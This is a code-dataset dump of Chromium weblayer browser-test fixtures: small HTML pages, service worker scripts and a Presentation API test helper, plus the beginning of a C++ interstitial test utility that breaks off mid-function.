code stringlengths 1 1.05M | repo_name stringlengths 6 83 | path stringlengths 3 242 | language stringclasses 222
values | license stringclasses 20
values | size int64 1 1.05M |
|---|---|---|---|---|---|
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Service Worker initialization listeners.
self.addEventListener('install', e => e.waitUntil(skipWaiting()));
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
// Posts |msg| to background_fetch.js.
function postToWindowClients(msg) {
return clients.matchAll({ type: 'window' }).then(clientWindows => {
for (const client of clientWindows) client.postMessage(msg);
});
}
self.addEventListener('backgroundfetchsuccess', e => {
console.log('background fetch succeeded');
e.waitUntil(e.updateUI({title: 'New Fetched Title!'}));
});
self.addEventListener('backgroundfetchclick', e => {
e.waitUntil(clients.openWindow(
'/weblayer/test/data/service_worker/new_window.html'));
});
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/background_fetch/sw.js | JavaScript | unknown | 861 |
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>BackgroundSyncBrowserTest helper page</title>
<script>
window.onload = async () => {
let registration = await navigator.serviceWorker.register('/background_sync_sw.js');
navigator.serviceWorker.ready.then((registration) => {
registration.sync.register('test-tag');
});
}
</script>
</head>
<body>
BackgroundSyncBrowserTest helper page
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/background_sync_browsertest.html | HTML | unknown | 486 |
// Copyright 2020 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';
// Service Worker initialization listeners.
self.addEventListener('install', event => event.waitUntil(skipWaiting()));
self.addEventListener('activate', event => event.waitUntil(clients.claim()));
self.addEventListener('sync', event => {
event.waitUntil(fetch(
'/background_sync_browsertest.html?syncreceived'));
});
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/background_sync_sw.js | JavaScript | unknown | 483 |
<html>
<body onbeforeunload="return runBeforeUnload()">
<p>Some text so the document is ready for input.</p>
</body>
<script>
function runBeforeUnload() {
return "foo";
}
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/before_unload.html | HTML | unknown | 215 |
<html>
<head><title>Clear-Site-Data Test Page</title></head>
<body>Clear-Site-Data test body</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/clear_site_data.html | HTML | unknown | 109 |
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>Clipboard API helper page</title>
<script>
function tryClipboardReadText() {
navigator.clipboard.readText()
.then(() => document.title = 'success')
.catch(() => document.title = 'fail');
}
function tryClipboardWriteText() {
navigator.clipboard.writeText('test')
.then(() => document.title = 'success')
.catch(() => document.title = 'fail');
}
</script>
</head>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/clipboard.html | HTML | unknown | 531 |
<html>
<body>
test
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/content-disposition.html | HTML | unknown | 35 |
<html>
<head>
<meta name="color-scheme" content="dark light">
</head>
<body></body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/dark_mode.html | HTML | unknown | 102 |
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1"></meta>
</head>
<body>
<p>Greetings planet</p>
</body>
<script>
function toggleFullscreen() {
if (!document.fullscreenElement) {
document.documentElement.requestFullscreen();
} else {
document.exitFullscreen();
}
}
document.addEventListener('click', function(e) { toggleFullscreen(); }, false);
const viewport = document.getElementsByTagName('meta')[0];
const defaultValue = viewport.getAttribute('content');
function setViewportFit(fit) {
if (fit) {
viewport.setAttribute('content', defaultValue + ', viewport-fit=' + fit);
} else {
viewport.setAttribute('content', defaultValue);
}
}
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/display_cutout.html | HTML | unknown | 812 |
<html>
<body>
Navigation complete.
This file should not contain any forms.
</body>
</html> | Zhao-PengFei35/chromium_src_4 | weblayer/test/data/done.html | HTML | unknown | 90 |
<html>
<head>
<style>
body, html {
height: 100%;
}
a {
display: block;
height: 100%;
width: 100%;
}
</style>
</head>
<body>
<a href="lorem_ipsum.txt" download>anchor text</a>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/download.html | HTML | unknown | 268 |
<html>
<head><title>This page is in English</title></head>
<body>
No joke! This is a page written in English. Awesome don't you think?
It has to be more than 100 bytes long for the CLD to detect the language correctly.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/english_page.html | HTML | unknown | 235 |
<!DOCTYPE html>
<html>
<body>
<a id="button">
launch state activity
</a>
<script type="text/javascript">
document.getElementById('button').href = 'intent://state.app?return_to=' + window.location.href.split('#')[1] + '#Intent;scheme=webenginetest;action=android.intent.action.VIEW;package=org.chromium.webengine.test.external.intents;end;';
</script>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/external_intents.html | HTML | unknown | 432 |
<html>
<body onclick="document.forms['form1'].submit();">
<form id="form1" action="simple_page.html" method="post">
<input type="text" name="name" value="Name"><br>
<input type="text" name="address" value="Address"><br>
<input type="text" name="city" value="City"><br>
</form>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/form.html | HTML | unknown | 323 |
<html>
<head>
<title>fr_test.html</title>
<meta http-equiv="content-language" content="fr">
</head>
<body>
<div>bonjour WebLayer.</div>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/fr_test.html | HTML | unknown | 158 |
<html>
<script>
function toggleFullscreen() {
if (!document.fullscreenElement) {
document.getElementById('x').requestFullscreen();
} else {
document.exitFullscreen();
}
}
</script>
<body onclick="toggleFullscreen();">
<p id='x'>X</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/fullscreen.html | HTML | unknown | 304 |
<html>
<body>
<input id="x" type="text"/>
<p>Content for on screen keyboard testing.</p>
</body>
<script>
var actionCount = 0;
function doAction() {
if (actionCount++ == 1) {
document.documentElement.requestFullscreen();
} else {
document.getElementById("x").focus();
}
}
document.addEventListener('click', function(e) { doAction(); }, false);
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/fullscreen_with_input.html | HTML | unknown | 428 |
<html>
<head>
<title>Geolocation</title>
<script>
var positionCount = 0;
var errorCount = 0;
function gotPos(position) {
positionCount++;
}
function errorCallback(error) {
errorCount++;
}
function initiate_getCurrentPosition() {
navigator.geolocation.getCurrentPosition(
gotPos, errorCallback, {});
}
function initiate_watchPosition() {
navigator.geolocation.watchPosition(
gotPos, errorCallback, {});
}
</script>
<body></body>
</head>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/geolocation.html | HTML | unknown | 532 |
<html>
<head><title>Diese Seite ist in deutsch</title></head>
<body>
Kein Witz! Dies ist eine Seite in Deutsch. Großartig, findest du nicht?
Deutsch wird in vielen Ländern gesprochen und ist eine schöne Sprache. Ich hoffe, das ist genug Text, um CLD auszulösen.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/german_page.html | HTML | unknown | 282 |
<!doctype html>
<html>
<head>
<script>
(async () => {
let stream = await navigator.mediaDevices.getUserMedia({video: true, audio: true});
audio.srcObject = new MediaStream(stream.getAudioTracks());
video.srcObject = new MediaStream(stream.getVideoTracks());
})();
</script>
</head>
<body>
<audio id="audio" controls autoplay></audio><br>
<video id="video" width="160" height="120" controls autoplay></video>
<div id="div"></div>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/getusermedia.html | HTML | unknown | 515 |
<!doctype html>
<html>
<head>
<script>
(async () => {
let stream = await navigator.mediaDevices.getUserMedia({video: false, audio: true});
audio.srcObject = new MediaStream(stream.getAudioTracks());
let streamV = await navigator.mediaDevices.getUserMedia({video: true, audio: false});
video.srcObject = new MediaStream(stream2.getVideoTracks());
})();
</script>
</head>
<body>
<audio id="audio" controls autoplay></audio><br>
<video id="video" width="160" height="120" controls autoplay></video>
<div id="div"></div>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/getusermedia2.html | HTML | unknown | 613 |
<html>
<head><title>Google accounts</title></head>
<body>
Google accounts page.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/google_accounts.html | HTML | unknown | 96 |
<html><head><title>Blank iframe test</title></head>
<body>
<iframe id="test"></iframe>
</body></html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/iframe_blank.html | HTML | unknown | 102 |
<html>
<head>
<style>
body, html {
height: 100%;
}
img {
display: block;
height: 100%;
width: 100%;
}
</style>
</head>
<body>
<img src="favicon.png" alt="alt_text" />
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/img.html | HTML | unknown | 261 |
<html>
<body>
<form action="about:blank">
<input id="input_file" type="file" />
<input id="input_text" type="file" accept="text/plain" />
<input id="input_any" type="file" accept="*/*" />
<input id="input_file_multiple" type="file" multiple />
<input id="input_image" type="file" accept="image/*" capture />
<input id="input_audio" type="file" accept="audio/*" capture />
<input id="input_color" type="color" />
</form>
<p>Some text so the document is ready for input.</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/input_types.html | HTML | unknown | 547 |
<html>
<head><title>Page that displays an insecure form</title>
<script>
function submitForm() {
form = document.getElementById("insecureForm");
form.submit();
}
</script>
</head>
<body>
This page contains a form which targets a non-secure URL,
causing insecure content (when this page is loaded over https).<br>
<form id="insecureForm" action="http://does-not-exist.test/form_target.html">
<input type="submit" />
</form>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/insecure_form.html | HTML | unknown | 448 |
<html>
<body>
This page will prerender something.
<link rel="next" href="/prerendered_page.html">
</body>
<!-- Order is important for tests. -->
<head><title>Parent Page</title></head>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/link_rel_next_parent.html | HTML | unknown | 194 |
<!DOCTYPE html>
<html>
<head>
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
</head>
<body>
<a id='link'>
<script type="text/javascript">
document.getElementById('link').href = '/weblayer/test/data/page_that_intents_to_package_on_load.html' + window.location.hash;
</script>
Click to go to page that intents to the package specified in the URL hash on load
</a>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/link_to_page_that_intents_to_package_on_load.html | HTML | unknown | 441 |
<!DOCTYPE html>
<html>
<head>
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
</head>
<body>
<a id='link' target='_blank'>
Click to intent to the package specified in the URL hash in a new tab
</a>
<script type="text/javascript">
document.getElementById('link').href = 'intent://example.test#Intent;scheme=https;action=android.intent.action.VIEW;package=' + window.location.href.split('#')[1] + ';end';
</script>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/link_with_intent_to_package_in_new_tab.html | HTML | unknown | 495 |
<!DOCTYPE html>
<html>
<head>
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
</head>
<body>
<a id='link'>
Click to intent to the package specified in the URL hash in this tab
</a>
<script type="text/javascript">
document.getElementById('link').href = 'intent://example.test#Intent;scheme=https;action=android.intent.action.VIEW;package=' + window.location.href.split('#')[1] + ';end';
</script>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/link_with_intent_to_package_in_same_tab.html | HTML | unknown | 478 |
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>MR Integration Basic Test</title>
<script type="text/javascript" src="common.js"></script>
</head>
<body>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/media_router/basic_test.html | HTML | unknown | 212 |
/*
* Copyright 2020 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
/*
* @fileoverview Test utilities for presentation integration tests.
*/
var startPresentationPromise = null;
var startedConnection = null;
var reconnectedConnection = null;
var presentationUrl = "cast:CCCCCCCC";
let params = (new URL(window.location.href)).searchParams;
var presentationRequest = new PresentationRequest([presentationUrl]);
var defaultRequestConnectionId = null;
var lastExecutionResult = null;
window.navigator.presentation.defaultRequest = presentationRequest;
window.navigator.presentation.defaultRequest.onconnectionavailable = function(
e) {
defaultRequestConnectionId = e.connection.id;
};
/**
* Waits until one sink is available.
*/
function waitUntilDeviceAvailable() {
presentationRequest.getAvailability(presentationUrl)
.then(function(availability) {
console.log('availability ' + availability.value + '\n');
if (availability.value) {
sendResult(true, '');
} else {
availability.onchange = function(newAvailability) {
if (newAvailability)
sendResult(true, '');
}
}
})
.catch(function(e) {
sendResult(false, 'got error: ' + e);
});
}
/**
* Starts presentation.
*/
function startPresentation() {
startPresentationPromise = presentationRequest.start();
console.log('start presentation');
sendResult(true, '');
}
/**
* Checks if the presentation has been started successfully.
*/
function checkConnection() {
if (!startPresentationPromise) {
sendResult(false, 'Did not attempt to start presentation');
} else {
startPresentationPromise
.then(function(connection) {
if (!connection) {
sendResult(
false, 'Failed to start presentation: connection is null');
} else {
// set the new connection
startedConnection = connection;
waitForConnectedStateAndSendResult(startedConnection);
}
})
.catch(function(e) {
// terminate old connection if exists
startedConnection && startedConnection.terminate();
sendResult(
false, 'Failed to start connection: encountered exception ' + e);
})
}
}
/**
* Asserts the current state of the connection is 'connected' or 'connecting'.
* If the current state is connecting, waits for it to become 'connected'.
* @param {!PresentationConnection} connection
*/
function waitForConnectedStateAndSendResult(connection) {
console.log('connection state is "' + connection.state + '"');
if (connection.state == 'connected') {
sendResult(true, '');
} else if (connection.state == 'connecting') {
connection.onconnect = () => {
sendResult(true, '');
};
} else {
sendResult(
false,
'Expect connection state to be "connecting" or "connected", actual: ' +
connection.state);
}
}
/**
* Checks the start() request fails with expected error and message substring.
* @param {!string} expectedErrorName
* @param {!string} expectedErrorMessageSubstring
*/
function checkStartFailed(expectedErrorName, expectedErrorMessageSubstring) {
if (!startPresentationPromise) {
sendResult(false, 'Did not attempt to start presentation');
} else {
startPresentationPromise
.then(function(connection) {
sendResult(false, 'start() unexpectedly succeeded.');
})
.catch(function(e) {
if (expectedErrorName != e.name) {
sendResult(
false, 'Got unexpected error. ' + e.name + ': ' + e.message);
} else if (e.message.indexOf(expectedErrorMessageSubstring) == -1) {
sendResult(
false,
'Error message is not correct, it should contain "' +
expectedErrorMessageSubstring + '"');
} else {
sendResult(true, '');
}
})
}
}
/**
* Terminates current presentation.
*/
function terminateConnectionAndWaitForStateChange() {
if (startedConnection) {
startedConnection.onterminate = function() {
sendResult(true, '');
};
startedConnection.terminate();
} else {
sendResult(false, 'startedConnection does not exist.');
}
}
/**
* Closes |startedConnection| and waits for its onclose event.
*/
function closeConnectionAndWaitForStateChange() {
if (startedConnection) {
if (startedConnection.state == 'closed') {
sendResult(false, 'startedConnection is unexpectedly closed.');
return;
}
startedConnection.onclose = function() {
sendResult(true, '');
};
startedConnection.close();
} else {
sendResult(false, 'startedConnection does not exist.');
}
}
/**
* Sends a message to |startedConnection| and expects InvalidStateError to be
* thrown. Requires |startedConnection.state| to not equal |initialState|.
*/
function checkSendMessageFailed(initialState) {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
if (startedConnection.state != initialState) {
sendResult(
false,
'startedConnection.state is "' + startedConnection.state +
'", but we expected "' + initialState + '".');
return;
}
try {
startedConnection.send('test message');
} catch (e) {
if (e.name == 'InvalidStateError') {
sendResult(true, '');
} else {
sendResult(false, 'Got an unexpected error: ' + e.name);
}
}
sendResult(false, 'Expected InvalidStateError but it was never thrown.');
}
/**
* Sends a message, and expects the connection to close on error.
*/
function sendMessageAndExpectConnectionCloseOnError() {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
startedConnection.onclose = function(event) {
var reason = event.reason;
if (reason != 'error') {
sendResult(false, 'Unexpected close reason: ' + reason);
return;
}
sendResult(true, '');
};
startedConnection.send('foo');
}
/**
* Sends the given message, and expects response from the receiver.
* @param {!string} message
*/
function sendMessageAndExpectResponse(message) {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
if (startedConnection.state != 'connected') {
sendResult(
false,
'Expected the connection state to be connected but it was ' +
startedConnection.state);
return;
}
startedConnection.onmessage = function(receivedMessage) {
var expectedResponse = 'Pong: ' + message;
var actualResponse = receivedMessage.data;
if (actualResponse != expectedResponse) {
sendResult(
false,
'Expected message: ' + expectedResponse +
', but got: ' + actualResponse);
return;
}
sendResult(true, '');
};
startedConnection.send(message);
}
/**
* Sends 'close' to receiver page, and expects receiver page closing
* the connection.
*/
function initiateCloseFromReceiverPage() {
if (!startedConnection) {
sendResult(false, 'startedConnection does not exist.');
return;
}
if (startedConnection.state != 'connected') {
sendResult(
false,
'Expected the connection state to be connected but it was ' +
startedConnection.state);
return;
}
startedConnection.onclose = (event) => {
const reason = event.reason;
if (reason != 'closed') {
sendResult(false, 'Unexpected close reason: ' + reason);
return;
}
sendResult(true, '');
};
startedConnection.send('close');
}
/**
* Reconnects to |connectionId| and verifies that it succeeds.
* @param {!string} connectionId ID of connection to reconnect.
*/
function reconnectConnection(connectionId) {
var reconnectConnectionRequest = new PresentationRequest(presentationUrl);
reconnectConnectionRequest.reconnect(connectionId)
.then(function(connection) {
if (!connection) {
sendResult(false, 'reconnectConnection returned null connection');
} else {
reconnectedConnection = connection;
waitForConnectedStateAndSendResult(reconnectedConnection);
}
})
.catch(function(error) {
sendResult(false, 'reconnectConnection failed: ' + error.message);
});
}
/**
* Calls reconnect(connectionId) and verifies that it fails.
* @param {!string} connectionId ID of connection to reconnect.
*/
function reconnectConnectionAndExpectFailure(
connectionId) {
var reconnectConnectionRequest = new PresentationRequest(presentationUrl);
var expectedErrorMessage = 'Unknown route';
reconnectConnectionRequest.reconnect(connectionId)
.then(function(connection) {
sendResult(false, 'reconnect() unexpectedly succeeded.');
})
.catch(function(error) {
if (error.message.indexOf(expectedErrorMessage) > -1) {
sendResult(true, '');
} else {
sendResult(
false,
'Error message mismatch. Expected: ' + expectedErrorMessage +
', actual: ' + error.message);
}
});
}
/**
* Sends the test result back to browser test.
* @param passed true if test passes, otherwise false.
* @param errorMessage empty string if test passes, error message if test
* fails.
*/
function sendResult(passed, errorMessage) {
lastExecutionResult = passed ? 'passed' : errorMessage;
}
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/media_router/common.js | JavaScript | unknown | 9,654 |
<html>
<script>
function playAudio() {
let audio = document.createElement('audio');
audio.src = 'test_audio.ogg';
audio.play();
}
</script>
<body onclick="playAudio();">
<p>Some text so the document is ready for input.</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/media_session.html | HTML | unknown | 277 |
<html>
<body onclick="window.open('about:blank', '');">
<p id='x'>XXXX</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/new_browser.html | HTML | unknown | 99 |
<html>
<script>
var openedWindow = null;
function openNewWindowOrClose() {
if (openedWindow == null) {
openedWindow = window.open('about:blank', '');
} else {
openedWindow.close();
openedWindow = null;
}
}
</script>
<body onclick="openNewWindowOrClose();">
<p>some content</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/new_tab_then_close.html | HTML | unknown | 359 |
<html>
<body>
404 with some body.
</body>
</html> | Zhao-PengFei35/chromium_src_4 | weblayer/test/data/non_empty404.html | HTML | unknown | 49 |
<!DOCTYPE html>
<html>
<head>
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
</head>
<body>
<a id='link'>
Click to intent to the package specified in the URL hash in this tab
</a>
<script>
document.getElementById('link').href = 'intent://example.test#Intent;scheme=https;action=android.intent.action.VIEW;package=' + window.location.href.split('#')[1] + ';end';
window.addEventListener("load", function() {
document.getElementById("link").click();
}, false);
</script>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/page_that_intents_to_package_on_load.html | HTML | unknown | 562 |
<html>
<body>
This page will prerender something.
<link rel="prerender" href="/prerendered_page.html">
</body>
<!-- Order is important for tests. -->
<head><title>Parent Page</title></head>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/parent_page.html | HTML | unknown | 199 |
<html>
<head><title>Page</title></head>
<body>
<h1>post message test page</h1>
</body>
<script>
let numMessages = 0;
window.addEventListener('message', e => {
numMessages++;
document.title = `postMessage: ${numMessages}`;
e.ports[0].postMessage(`message: ${e.data}, source: ${e.origin}`);
if (e.data.includes('delayed')) {
setTimeout(() => e.ports[0].postMessage(`message: ${e.data}2, source: ${e.origin}`), 1000);
setTimeout(() => e.ports[0].postMessage(`message: ${e.data}3, source: ${e.origin}`), 2000);
}
});
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/postmessage.html | HTML | unknown | 581 |
// Copyright 2020 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// This isn't used anywhere.
var theScriptHasExecuted = true;
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/prefetch.js | JavaScript | unknown | 206 |
// Copyright 2020 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// This isn't used anywhere.
var theMetaScriptHasExecuted = true;
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/prefetch_meta.js | JavaScript | unknown | 210 |
<html>
<!--
A page that fetches only "prefetch.js" when scanned by NoStatePrefetch, and
fetches "prefetch_meta.js" in addition to that if javascript execution happens
on the page. In all cases the scripts are executed in a blocking manner.
By prefetching this page, a browsertest can verify that javascript was not
executed (prefetch_meta.js should not be requested to load even after the page
has been fully prefetched (or loaded)).
Note: there is no way to ensure that the script loaded via .appendChild() or a
sync XHR happens before a preload-scannable request because preload scanner is
racy and often fetches resources it sees before the inline script has a chance
to execute.
-->
<body>
<script>
var s = document.createElement("script");
s.src = "prefetch_meta.js";
document.body.appendChild(s);
</script>
<!-- Ordering is imporant here because the test harness relies on sequential
parsing of this page. When a fetch request for prefetch.js happens, it can
be safely assumed that the browser has parsed the inline script above. -->
<script src="prefetch.js"></script>
Some content that is necessary for registering paint metrics.
</body>
<head>
<!-- Ordering on the page is important. -->
<title>Prefetch Page</title>
</head>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/prerendered_page.html | HTML | unknown | 1,282 |
<html>
<body style="padding: 0; margin: 0; display: grid; display: grid; grid-template-columns: 50% 50%; grid-template-rows: 50% 50%;\">
<div style="background-color: rgb(255, 0, 0);"></div>
<div style="background-color: rgb(0, 255, 0);"></div>
<div style="background-color: rgb(0, 0, 255);"></div>
<div style="background-color: rgb(128, 128, 128);"></div>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/quadrant_colors.html | HTML | unknown | 393 |
<html>
<script>
var gotHide = false;
var gotOrientationChange = false;
var attachedListeners = false;
async function doRequestFullscreen() {
return document.documentElement.requestFullscreen();
}
async function toggleFullscreen() {
if (!attachedListeners) {
attachedListeners = true;
document.addEventListener("visibilitychange", function() {
if (document.visibilityState !== 'visible') {
gotHide = true;
}
});
window.addEventListener("orientationchange", function() {
gotOrientationChange = true;
});
}
if (!document.fullscreenElement) {
await doRequestFullscreen();
await screen.orientation.lock("landscape");
} else {
document.exitFullscreen();
}
}
</script>
<body style="height:5000px" onclick="toggleFullscreen();">
<p>A (mostly) empty page.</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/rotation.html | HTML | unknown | 955 |
<html>
<script>
async function toggleFullscreen() {
if (!document.fullscreenElement) {
await document.documentElement.requestFullscreen();
await screen.orientation.lock("landscape-primary");
} else {
document.exitFullscreen();
}
}
</script>
<body style="height:5000px" onclick="toggleFullscreen();">
<p>A page that will rotate on touch.</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/rotation2.html | HTML | unknown | 419 |
<html>
<body>
<p>
No, Time, thou shalt not boast that I do change:
Thy pyramids built up with newer might
To me are nothing novel, nothing strange;
They are but dressings of a former sight.
Our dates are brief, and therefore we admire
What thou dost foist upon us that is old,
And rather make them born to our desire
Than think that we before have heard them told.
Thy registers and thee I both defy,
Not wondering at the present nor the past,
For thy records and what we see doth lie,
Made more or less by thy continual haste.
This I do vow and this shall ever be;
I will be true, despite thy scythe and thee.
</p>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/shakespeare.html | HTML | unknown | 728 |
<html>
<head><title>OK</title></head>
<body>
Basic html test.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page.html | HTML | unknown | 78 |
<html>
<head><title>Yet another simple page</title></head>
<body>
Basic html test.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page2.html | HTML | unknown | 99 |
<html>
<head><title>OK</title></head>
<body>
Basic html test2.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page3.html | HTML | unknown | 79 |
<html>
<head><title>OK</title></head>
<body>
<meta http-equiv = "refresh" content = "2; url = simple_page.html" />
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page4.html | HTML | unknown | 137 |
<html>
<head>
<title>OK</title>
</head>
<body>
Basic html test.
</body>
<script>
function createFavicon() {
const link = document.createElement('link');
link.rel = 'icon';
link.href = 'favicon.png';
document.head.appendChild(link);
}
window.addEventListener('message', () => {
createFavicon();
});
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_delayed_favicon.html | HTML | unknown | 344 |
<html>
<head>
<title>OK</title>
<link rel="icon" id="fi" type="image/png" href="favicon.png"/>
</head>
<body>
Basic html test.
</body>
<script>
setTimeout(() => {
const link = document.getElementById('fi');
document.head.removeChild(link);
}, 5000);
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_deleted_favicon.html | HTML | unknown | 284 |
<html>
<head>
<title>OK</title>
<link rel="icon" type="image/png" href="favicon.png"/>
</head>
<body>
Basic html test.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_favicon.html | HTML | unknown | 147 |
<html>
<head>
<title>OK</title>
<link rel="icon" type="image/png" href="favicon.png"/>
</head>
<body>
Basic html test.
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_favicon2.html | HTML | unknown | 147 |
<html>
<head>
<title>OK</title>
<link rel="icon" type="image/png" href="favicon.png"/>
</head>
<body onbeforeunload="return runBeforeUnload()">
Basic html test with before unload and favicon
</body>
<script>
function runBeforeUnload() {
return "foo";
}
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_favicon_and_before_unload.html | HTML | unknown | 291 |
<html>
<head><title>OK</title></head>
<body>
Basic html with script test.
<script type="text/javascript" src="script.js"></script>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_page_with_script.html | HTML | unknown | 147 |
<html>
<body>
<form method="POST" action="done.html" onsubmit="return true;" id="testform">
<input type="text" id="username_field" name="username_field">
<input type="password" id="password_field" name="password_field">
<input type="submit" id="input_submit_button" name="input_submit_button">
</form>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_password_form.html | HTML | unknown | 324 |
<html>
<head>
<title>Simple Prefetch Page</title>
<script>
function linkOnload() {
document.title = 'link onload';
}
function linkOnerror() {
document.title = 'link onerror';
}
</script>
<link rel="prefetch"
href="prefetch_target.lnk"
onload="linkOnload()"
onerror="linkOnerror()"/>
</head>
<body>
</body>
</html> | Zhao-PengFei35/chromium_src_4 | weblayer/test/data/simple_prefetch.html | HTML | unknown | 336 |
<p style='height:5000px'>Some text to paint</p>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/tall_page.html | HTML | unknown | 48 |
<html>
<body>
<p>A (mostly) empty page.</p>
</body>
<script>
var gotHide = false;
document.addEventListener("visibilitychange", function() {
if (document.visibilityState !== 'visible') {
gotHide = true;
}
});
</script>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/visibility.html | HTML | unknown | 271 |
<html>
<head><title>OK</title></head>
<script>
x.postMessage("from page");
x.addEventListener("message", function(event) {
x.postMessage("bouncing " + event.data);
});
</script>
<body>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/web_message_test.html | HTML | unknown | 227 |
<html>
<head><title>OK</title></head>
<script>
x.postMessage("from page");
var handler2 = function(event) {
x.postMessage("bouncing " + event.data);
};
var handler1 = function(event) {
x.postMessage("bouncing " + event.data);
x.removeEventListener("message", handler2);
};
x.addEventListener("message", handler1);
x.addEventListener("message", handler2);
</script>
<body>
</body>
</html>
| Zhao-PengFei35/chromium_src_4 | weblayer/test/data/web_message_test2.html | HTML | unknown | 446 |
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "weblayer/test/interstitial_utils.h"
#include "components/security_interstitials/content/bad_clock_blocking_page.h"
#include "components/security_interstitials/content/captive_portal_blocking_page.h"
#include "components/security_interstitials/content/insecure_form_blocking_page.h"
#include "components/security_interstitials/content/security_interstitial_page.h"
#include "components/security_interstitials/content/security_interstitial_tab_helper.h"
#include "components/security_interstitials/content/ssl_blocking_page.h"
#include "weblayer/browser/tab_impl.h"
namespace weblayer {
namespace {
// Returns the security interstitial currently showing in |tab|, or null if
// there is no such interstitial.
security_interstitials::SecurityInterstitialPage*
GetCurrentlyShowingInterstitial(Tab* tab) {
TabImpl* tab_impl = static_cast<TabImpl*>(tab);
security_interstitials::SecurityInterstitialTabHelper* helper =
security_interstitials::SecurityInterstitialTabHelper::FromWebContents(
tab_impl->web_contents());
return helper
? helper
->GetBlockingPageForCurrentlyCommittedNavigationForTesting()
